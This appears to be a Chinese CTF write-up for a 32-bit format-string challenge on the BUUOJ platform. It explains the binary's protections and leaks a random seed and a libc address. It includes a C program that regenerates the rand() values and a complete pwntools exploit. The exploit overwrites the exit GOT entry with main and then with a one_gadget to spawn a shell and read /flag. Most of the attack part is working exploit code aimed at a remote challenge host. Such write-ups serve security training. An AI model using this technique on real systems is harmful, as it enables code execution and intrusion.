printf的题是连着了,刚作完一上又一个
先看保护:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8047000)
加载地址是固定的,不用泄露,got表可写
再看看程序:
stream = fopen("/dev/urandom", "rb"); fread(&ptr, 4u, 1u, stream); fclose(stream); srand(ptr); //读4字节随机数作随机数种子,因为紧临buf可以被带出 printf("nWho are you? "); read(0, buf, 0x64u); printf("nHello~ %sn", buf); // 可以带出buf for ( dword_804A05C = 0; dword_804A05C <= 5; ++dword_804A05C ) { LABEL_6: dword_804A058 = rand() % 45 + 1; for ( dword_804A054 = 0; dword_804A05C - 1 >= dword_804A054; ++dword_804A054 ) { if ( v4[dword_804A054] == dword_804A058 ) goto LABEL_6; } v4[dword_804A05C] = dword_804A058; //生成6个随机数 } sub_804867B(v3); // 读入6个数与随机数比较 result = sub_804871B(v3, v4); if ( result ) { printf("Congratulation, "); printf(buf); //调用printf puts("You Win!!n"); exit(0); //在定得作个循环回去 }
程序分析:
- 先读4字节作为随机数种子,这个与buf紧邻又是read读入可以被带出,顺便后边的libc也被带出
- 用种子生成6个随机数,然后读入6个数比较。过了这个冒才有printf漏洞
- 用exit(0)退出,在这需要弄个循环,因为一步完不成。
先要弄个小程序,输入种子按原程序的方法生成随机数(除了scanf外都是复制过来,尽量避免不同)
#include#include int main() { int v4[6]; int i,j,k; unsigned int ptr; puts("Input seed :"); scanf("%d", &ptr); for(i=0;i<6;i++)v4[i]=0; srand(ptr); for(i=0;i<6;++i) { LABEL6: k = rand()%45+1; for(j=0;j<=i-1;++j) if(v4[j] == k)goto LABEL6; v4[i]=k; } for(i=0;i<6;i++)printf("%d,",v4[i]); return 0; }
步骤:
- 输入AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x 计算偏移
- payload要输满100位,带出seed,libc
- 调用小程序输入seed获得6个随机数
- 输入随机数,成功运行printf
- 从1重来,payload=fmtstr_payload(17, {elf.got['exit'] : main}) 这回运行让它循环回来
- payload = fmtstr_payload(17, {elf.got['exit']: one_gadget}) 调用one_gadget得到shell
完整exp:
from pwn import * local = 0 if local == 1: p = process('./pwn') libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so") one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076] offset_main_ret = 0x18647 else: p = remote('node4.buuoj.cn', 26373) libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so') one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066] offset_main_ret = 0x18637 elf = ELF('./pwn') context(arch='i386', log_level='debug') #gdb.attach(p, 'b*0x804892e') #pause() #payload = b'AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x' #AAAA-ffece45c-0-804888b-f7fada74-8-a-10-14-19-f-8-a-10-14-19-f-41414141-2d78252d offset = 17 main = 0x804878c payload = fmtstr_payload(17, {elf.got['exit'] : main}) p.sendafter(b"nWho are you? ", payload.ljust(99, b'A')+b'|') p.recvuntil(b'|') seed = u32(p.recv(4)) print('seed:', seed, hex(seed)) #seed ->rand tmpp = process('./a.out') tmpp.sendlineafter(b':n', str(seed).encode()) rnd = [0,0,0,0,0,0] for i in range(6): rnd[i] = int(tmpp.recvuntil(b',', drop=True)) print(rnd[i]) tmpp.close() libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000) print('libc:', hex(libc_base)) p.recvuntil(b'==> ') for i in range(6): p.sendline(str(rnd[i]).encode()) #p.sendlineafter(b"Congratulation, ", ) p.recvuntil(b"You Win!!nn") # back top one_gadget = libc_base + one[5] payload = fmtstr_payload(17, {elf.got['exit'] : one_gadget}) p.sendafter(b"nWho are you? ", payload.ljust(99, b'A')+b'|') p.recvuntil(b'|') seed = u32(p.recv(4)) print('seed:', seed, hex(seed)) #seed ->rand tmpp = process('./a.out') tmpp.sendlineafter(b':n', str(seed).encode()) rnd = [0,0,0,0,0,0] for i in range(6): rnd[i] = int(tmpp.recvuntil(b',', drop=True)) print(rnd[i]) tmpp.close() libc_base = u32(p.recv(8)[4:]) - (0xf7fa53dc - 0xf7df5000) print('libc:', hex(libc_base)) p.recvuntil(b'==> ') for i in range(6): p.sendline(str(rnd[i]).encode()) p.recvuntil(b"You Win!!nn") p.sendline(b'cat /flag') p.interactive()
程序后边复制的前边,用函数会变短,但不如复制效率高,都高程序员爱划水:)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)